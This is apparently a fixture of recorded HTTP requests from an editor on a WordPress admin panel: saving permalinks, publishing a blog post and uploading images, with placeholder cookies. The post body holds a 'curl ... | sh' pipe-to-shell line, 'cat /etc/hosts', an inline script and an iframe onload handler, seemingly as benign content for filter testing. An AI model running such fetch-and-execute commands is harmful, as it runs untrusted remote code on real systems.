{"method": "POST", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": "_wpnonce=4c458d2a5d&_wp_http_referer=%2Fwp-admin%2Foptions-permalink.php&selection=%2F%25postname%25%2F&permalink_structure=%2F%25postname%25%2F&category_base=&tag_base=&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-permalink.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203251"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=13&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\",\"meta\":{\"footnotes\":\"\"}}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"slug\":\"bobs-first-post\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post-2&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=13&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203288.2769880294799804687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-admin/post.php?post=13&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "GET", "target": "/?p=13", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/bobs-first-post-2/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/?p=13&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/wp-admin/revision.php?revision=14", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=14", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203301"], "body": "compare%5B%5D=14%3A13&action=get-revision-diffs&post_id=13"}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=15&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203303"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=17&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 415", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaeabRwojB6M1Wog", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"file\"; filename=\"holiday-photo.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/18?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 409", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ3NQqb5rHLeqDitl", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"file\"; filename=\"bin-day.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/19?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 417", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPj3tR1NjEw5stIqA", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"file\"; filename=\"my passwd reset.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/20?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "GET", "target": "/wp-admin/media-new.php?browser-uploader", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""}
{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 778", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjx3GBevQOAuXrl5", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nscan-01.png\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"post_id\"\r\n\r\n0\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n87ab0e0dbf\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"tab\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"short\"\r\n\r\n1\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"scan-01.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5--\r\n"}
